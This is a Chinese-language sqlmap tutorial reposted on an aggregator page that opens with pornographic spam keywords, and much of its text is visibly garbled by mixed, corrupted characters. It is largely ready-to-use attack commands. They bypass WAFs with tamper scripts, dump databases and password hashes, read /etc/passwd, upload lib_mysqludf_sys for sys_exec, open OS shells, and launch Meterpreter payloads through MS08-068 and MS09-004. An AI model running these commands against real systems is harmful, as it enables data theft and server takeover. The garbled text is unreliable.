日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sqlmap使用

發(fā)布時間:2024/4/17 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqlmap使用 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

SQLmap是一種開源滲透測試工具,可自動執(zhí)行SQL注入缺陷的檢測和開發(fā)過程,并接管數(shù)據(jù)庫服務(wù)器。它有強大的檢測引擎,針對不同類型的數(shù)據(jù)庫提供多樣的滲透測試功能選項,實現(xiàn)數(shù)據(jù)庫識別、數(shù)據(jù)獲取、訪問DBMS\操作系統(tǒng)甚至通過帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令。以及從數(shù)據(jù)庫指紋識別、從數(shù)據(jù)庫獲取數(shù)據(jù)、訪問底層文件的廣泛范圍的交換機通過帶外連接在操作系統(tǒng)上執(zhí)行命令。

SQLMAP支持的數(shù)據(jù)包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數(shù)據(jù)庫。

?

Sqlmap使用經(jīng)驗總結(jié)

?

1在使用-v參數(shù)的時候,盡量選擇,3級別,次級別可以顯示注入的參數(shù)。 例如:sqlmap -v3 -u?www.potian.com
2 當(dāng)一件知道數(shù)據(jù)庫信息的時候,使用-d直接連接數(shù)據(jù)庫,注意-D是指定目標(biāo)庫,要區(qū)分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER
3 當(dāng)使用Burp或WebScarab保存了日志的時候,想從日志文件中篩選目標(biāo),可使用-I使用 絕對路徑地址即可。
4 -g可以使用google的搜索結(jié)果,例如,直接搜索uid=,查找具有此參數(shù)的站點,直接使用sqlmap調(diào)用google結(jié)果,例:sqlmap -g inurl:php?uid=。(收集了一些語句,在附表)當(dāng)需要使用-g inurl:php?uid=等參數(shù)時,默認(rèn)無法訪問,可使用此參數(shù)+海外代理方式使用此功能。當(dāng)代理需要驗證的時候,使用-cre指定身份信息,需要使用代理輪巡時,使用文件加載代理設(shè)置列表,使用代理輪詢也可在對訪問ip次數(shù)進行了驗證的場景使用。(鑒于我國國情,不建議使用)
5服務(wù)端允許的情況下,–method改變默認(rèn)的http方法,和其他參數(shù)配合使用,例如–data,改變?yōu)閜ost然后推送數(shù)據(jù)。 ?
6 默認(rèn)情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent參數(shù)來指定想使用的UA,同時也可以使用–random-agent參數(shù)來隨機的從./txt/user-agents.txt中獲取。當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候,會嘗試對User-Angent進行注入.另外UA是繞過waf的參數(shù),–user-agent= –random-agent這兩個參數(shù)可對waf針對惡意ua的防控進行繞過。 ?
7 指定http請求中的header里的host參數(shù)、在請求中偽造referer,有些waf和安全產(chǎn)品等會對refer進行限制,僅允許本站referer,當(dāng)waf參數(shù)對referer進行了限制后,可使用此參數(shù)進行繞過。當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候會嘗試對referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type ?
8 HTTP代理身份驗證憑據(jù),可自動使用username:password和秘鑰文件,例如有些訪問會使用key文件,集團sso最愛出現(xiàn)此種場景,在這種身份驗證憑據(jù)的需求中,也可使用-I參數(shù)使用burp等代理記錄文件來使用身份憑據(jù)
9 設(shè)置http請求間隔時間,在繞過需求時使用,例如單ip單位時間訪問多少次,可配合代理和多代理參數(shù)使用。超時連接后的嘗試間隔,默認(rèn)30s,可手動調(diào)整,一般–timeout和–retries配合使用 ?
10有的網(wǎng)站會對提交的參數(shù)進行編碼或加密,這時候需要根據(jù)某個參數(shù)的變化,而修改另個一參數(shù),才能形成正常的請求,這時可以用–eval參數(shù)在每次請求時根據(jù)所寫python代碼做完修改后請求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的請求就是每次請求時根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。” ?
11 sqlmap默認(rèn)測試所有的GET和POST參數(shù),上文提到過,當(dāng)–level的值大于等于2的時候也會測試HTTP Cookie頭的值,大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。這時候可以手動指定-p參數(shù)設(shè)置想要測試的參數(shù)。 例如:-p “”id,cookie”"但是有個別參數(shù)不想測試的時候可以使用–skip=“user-agent”參數(shù)。
12 數(shù)值處理:參數(shù):–invalid-bignum –invalid-logical這兩個參數(shù)對報錯數(shù)據(jù)、無效數(shù)據(jù)進行更改,例如默認(rèn)報錯UID=-20,可以通過制定以上參數(shù)制定無效的大數(shù)字和邏輯,比如uid=999999999和uid=20 and a=b
參數(shù):–prefix,–suffix在注入的payload的前面或者后面加一些字符,來保證payload的正常執(zhí)行,例如在語句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可從tamper庫里查找相關(guān)內(nèi)容,使用–tamper tamper/*.py方式指定
14 上文多次解釋–level對測試參數(shù)的影響,一共有五個等級,默認(rèn)為1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload內(nèi)容,默認(rèn)也有一些,可定制。
–level的值大于等于2的時候也會測試HTTP Cookie頭的值,大于等于3的時候也會測試User-Agent和HTTP Referer頭的值,建議最高級別,會更慢、測試參數(shù)更復(fù)雜。
15 risk從0-3共有四個風(fēng)險等級,默認(rèn)是1,risk1會測試大部分的測試語句,risk2會增加基于事件的測試語句,3會增加OR語句的注入測試。測試的語句同樣可以在payloads.xml中找到,可以自行添加payload。
警告:當(dāng)使用高級別時,可能會使用drop、update等高危語句對整表、整庫造成影響,可能導(dǎo)致更新的整個表,可能造成很大的風(fēng)險。
16 “sqlmap測試結(jié)果取決于返回內(nèi)容,當(dāng)頁面在刷新或更新后,可能導(dǎo)致返回不同的內(nèi)容,特別是頁面有動態(tài)內(nèi)容的情況下。為了避免誤報,可指定字符串或者正則表達式來區(qū)分原始頁面和報錯頁面(–string參數(shù)添加字符串,–regexp添加正則),也可以提供一段字符串在原始頁面與true下的頁面都不存在的字符串,而false頁面中存在的字符串(–not-string添加)。
用戶也可以提供true與false返回的HTTP狀態(tài)碼不一樣來注入,例如,響應(yīng)200的時候為真,響應(yīng)401的時候為假,–code=200。
17 默認(rèn)sqlmap會把BEUSTQ六中注入方式全來一遍,可根據(jù)實際情況進行調(diào)整,例如可使用時間延遲,看網(wǎng)站響應(yīng)時間來判斷是否有注入,可根據(jù)報錯判斷注入。如果不是很懂,就不用管,雖然時間長點,但很全面。
B:Boolean-based blind SQL injection(布爾型注入)
E:Error-based SQL injection(報錯型注入)
U:UNION query SQL injection(可聯(lián)合查詢注入)
S:Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基于時間延遲注入)
Q: Inline SQL Injection? (內(nèi)聯(lián)注入)
當(dāng)使用基于時間延遲注入的盲注時,時刻使用–time-sec參數(shù)設(shè)定延時時間,默認(rèn)是5秒,可以根據(jù)環(huán)境記性調(diào)整,比如網(wǎng)絡(luò)延遲很大,可適當(dāng)增加延時時間 ?
18 –union-cols設(shè)定的值為一段整數(shù)范圍,制定區(qū)間,此數(shù)值默認(rèn)為1-10,隨著–levle增加,當(dāng)為5的時候增加為50,當(dāng)level級別和取值范圍不匹配,在低級別需求更大的范圍,可通過設(shè)定–union-cols的值來實現(xiàn)。設(shè)定union查詢使用的字符,默認(rèn)使用NULL,但是可能會返回失敗,–union-char指定UNION查詢的字符。指定查詢的表,配合上文暴力破解的字符、范圍等來詳細(xì)使用。 ?
19 在一旦注入成功且獲得精確信息通過以下詳細(xì)參數(shù)來指定檢索、枚舉動作和動作執(zhí)行對象:檢索DBMS的指紋特征、數(shù)據(jù)庫、host值、用戶身份、并對用戶、密碼、權(quán)限、角色進行枚舉也就是爆破。然后嘗試枚舉數(shù)據(jù)庫、數(shù)據(jù)庫里的表、數(shù)據(jù)庫里的內(nèi)容、可以使用count來統(tǒng)計條目等操作。dump和dump-all就是脫褲和全脫的區(qū)別,dump某表的十條八條可能沒事兒,dump-all注定要浪跡天涯,也就是所謂的從脫褲到跑路的開始,通過-D\-T\-C來制定索要枚舉的庫、表、和列,使用-X來排除不想要的列,特別是有多列且有無意義字段的時候,使用-X可大大節(jié)省時間。 –exclude-sysdbs參數(shù),將不會獲取數(shù)據(jù)庫自帶的系統(tǒng)庫內(nèi)容,可減少干擾內(nèi)容,對-count的使用和枚舉信息的使用建議搭配此參數(shù)來排除系統(tǒng)庫。
當(dāng)我們不想跑路的時候,那么請使用下面內(nèi)容: ???
–start=LIMITSTART? First query output entry to retrieve指定從第幾行開始輸出,如:
–start=1 ???
–stop=LIMITSTOP???
Last query output entry to retrieve
指定從第幾行停止輸出
–stop=10?
–first=FIRSTCHAR??
First query output word character to retrieve
指定從第幾個字符開始輸出
–first 1 ???
–last=LASTCHAR
Last query output word character to retrieve
指定從第幾個字符停止輸出–last10
20 暴力檢查:猜測檢查常見的、通用的表名和列名,可通過下面兩個文件進行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 對文件系統(tǒng)、操作系統(tǒng)的交互和使用必須需要相應(yīng)的權(quán)限,前面提到要求具有特定的函數(shù)執(zhí)行特權(quán),一般要求root。針對文件系統(tǒng)的讀寫:對–file-read配置絕對系統(tǒng)路徑,可讀取相應(yīng)文件內(nèi)容,可以是文本,也可以是二進制,條件是必須擁有相對應(yīng)特權(quán),已知的是mysql、postgresql和sqlserver。寫入也是同樣,往遠端后臺的DBMS里寫入一個本地文件,可通過–file-dest指定絕對文件路徑。” 當(dāng)然和上面可以配合使用,當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。然后通過上面的文件系統(tǒng)管理上傳一個庫,使用可執(zhí)行系統(tǒng)命令的sys_exec()和sys_eval(),甚至xp_cmdshell存儲過程 –os-shell參數(shù)也可以模擬一個真實的shell,可以輸入你想執(zhí)行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,當(dāng)前用戶有權(quán)限使用特定的函數(shù),可以在數(shù)據(jù)庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據(jù)Metasploit生成shellcode,四種方式執(zhí)行它:
1.通過用戶自定義的sys_bineval()函數(shù)在內(nèi)存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據(jù)庫,參數(shù):–os-pwn。
2.通過用戶自定義的函數(shù)上傳一個獨立的payload執(zhí)行,MySQL和PostgreSQL的sys_exec()函數(shù),Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):–os-pwn。
3.通過SMB攻擊(MS08-068)來執(zhí)行Metasploit的shellcode,當(dāng)sqlmap獲取到的權(quán)限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內(nèi)存中執(zhí)行Metasploit的payload,參數(shù):–os-bof。
22 所見即所得,注冊表連接指的是windows系統(tǒng),相信大家都有windows系統(tǒng)知識,不懂注冊表基本就不懂windows系統(tǒng),所有的windows系統(tǒng)配置在注冊表里都可實現(xiàn),比如開啟遠程連接、比如新建用戶、比如組策略配置、比如防火墻等等,reg可對注冊表內(nèi)容進行讀取、編輯、和刪除,上面和下面相配合可實現(xiàn)對指定的key、value、data和類型進行操作。 ?
23 –batch
在使用sqlmap時,有時一些響應(yīng)需要用戶交互,輸入Y、N、skip、quit等,使用此選項可使用默認(rèn)配置。
–output-dir=?
指定輸出路徑,方式控制臺輸出過多,無法查看,也方便記錄
–gpage=GOOGLEPAGE
好像默認(rèn)是使用google搜索的前100個文件,當(dāng)使用前面的-g參數(shù),配合此參數(shù)指定頁面
–identify-waf?
進行WAF/IPS/IDS保護測試,目前大約支持30種產(chǎn)品的識別
–mobile
使用移動產(chǎn)品UA,把sqlmap偽裝成手機,也可使用前面的
-user-agent
自己指定
–smart?
智能深度啟發(fā)式掃描,或許會有驚喜呢。
?–wizard 和上面的完全不同,純新手選擇,一步步讓你輸入url等參數(shù),基本輸入個url就行。

Sqlmap實操語句

?

1手工基本檢測和判斷(在注入點使用or、and等可判斷是否有注入點)原始網(wǎng)頁:http://www.potian.com/mysql/product/user_info.php?uid=1?024?
構(gòu)造url1:http://www.potian.com/mysql/product/user_info.php?uid=1?024+AND+1=1
構(gòu)造url2:http://www.potian.com/mysql/product/user_info.php?uid=1?024+AND+1=1 025?
2 基礎(chǔ)檢測語法 sqlmap.py -u? http://www.potian.com/mysql/product/user_info.php?uid=1 024 ?
3 批量檢測 “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一個目錄下。 ?
4 繞過WAF進行SQL注入 ? (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 為:return match.group().replace(word, ”/*!50000%s*/” % word)
(2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>為:<castquery= ”convert(%s,CHAR)”/>
(3)使用sqlmap進行注入測試sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它繞過waf腳本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目錄下文件具體含義:
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引號
equaltolike.pylike
代替等號
space2dash.py
繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’)
greatest.py
繞過過濾’>’ ,用GREATEST替換大于號。
space2hash.py
空格替換為#號,隨機字符串以及換行符
apostrophenullencode.py
繞過過濾雙引號,替換字符和雙引號。
halfversionedmorekeywords.py
當(dāng)數(shù)據(jù)庫為mysql時繞過防火墻,每個關(guān)鍵字之前添加mysql版本評論
space2morehash.py
空格替換為#號
以及更多隨機字符串
換行符
appendnullbyte.py
?在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼
ifnull2ifisnull.py
繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替換為其它空符號
base64encode.py
用base64編碼替換
space2mssqlhash.py
替換空格
modsecurityversioned.py
過濾空格,包含完整的查詢版本注釋
space2mysqlblank.py
空格替換其它空白符號(mysql)
between.py
用between替換大于號(>)
space2mysqldash.py
替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)
multiplespaces.py
圍繞SQL關(guān)鍵字添加多個空格
space2plus.py
用+替換空格
bluecoat.py
代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為like
nonrecursivereplacement.py
雙重查詢語句,取代SQL關(guān)鍵字
space2randomblank.py
代替空格字符(“”)從一個隨機的空白字符可選字符的有效集
sp_password.py
追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾
chardoubleencode.py
雙url編碼(不處理以編碼的)
unionalltounion.py
替換UNION ALLSELECT UNION SELECT
charencode.py
url編碼
randomcase.py
?隨機大小寫
unmagicquotes.py
寬字符繞過
GPCaddslashes randomcomments.py
用/**/分割sql關(guān)鍵字
charunicodeencode.py
字符串unicode編碼
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注釋繞過 space2comment.py
替換空格字符串(‘‘) 使用注釋‘/**/’
halfversionedmorekeywords.py
?關(guān)鍵字前加注釋 ?
5 URL重寫SQL注入測試 ? value1為測試參數(shù),加“*”即可,sqlmap將會測試value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
6 列舉并破解密碼哈希值??當(dāng)前用戶有權(quán)限讀取包含用戶密碼的權(quán)限時,sqlmap會現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1 ?
7 獲取表中的數(shù)據(jù)個數(shù) ? sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb ?
8 站點爬取 sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3 ?
9 注入時間預(yù)估(基于布爾) sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta ?
10 使用hex避免字符編碼導(dǎo)致數(shù)據(jù)丟失 ? sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors ?
11 模擬測試手機環(huán)境站點 ? python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile ?
12 智能判斷測試 ? sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart ?
13 結(jié)合burpsuite進行注入 sqlmap.py -r burpsuite 抓包.txt ?
14 sqlmap 自動填寫表單注入 sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱–tables sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 –columns sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 -Cusername,password –dump ?
15 讀取linux下文件 sqlmap.py-u “url” –file /etc/password ?
16 sqlmap?cookies 注入 sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″? –dbs –level 3 sqlmap.py -u 注入點URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump ?
17 連接mysql數(shù)據(jù)打開一個交互shell sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir; ?
18 利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄 sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’); ?
19 執(zhí)行shell命令 sqlmap.py -u “url” –os-cmd=”netuser” /*執(zhí)行net user命令*/ sqlmap.py -u “url” –os-shell /*系統(tǒng)交互的shell*/ ?
20 延時注入 sqlmap –dbs -u”url” –delay 0.5 /* 延時0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 請求2次*/ ?

?

?

本文作者:破天·張坤,轉(zhuǎn)載請注明來自FreeBuf.COM

轉(zhuǎn)載于:https://www.cnblogs.com/lwfiwo/p/10619131.html

與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的sqlmap使用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。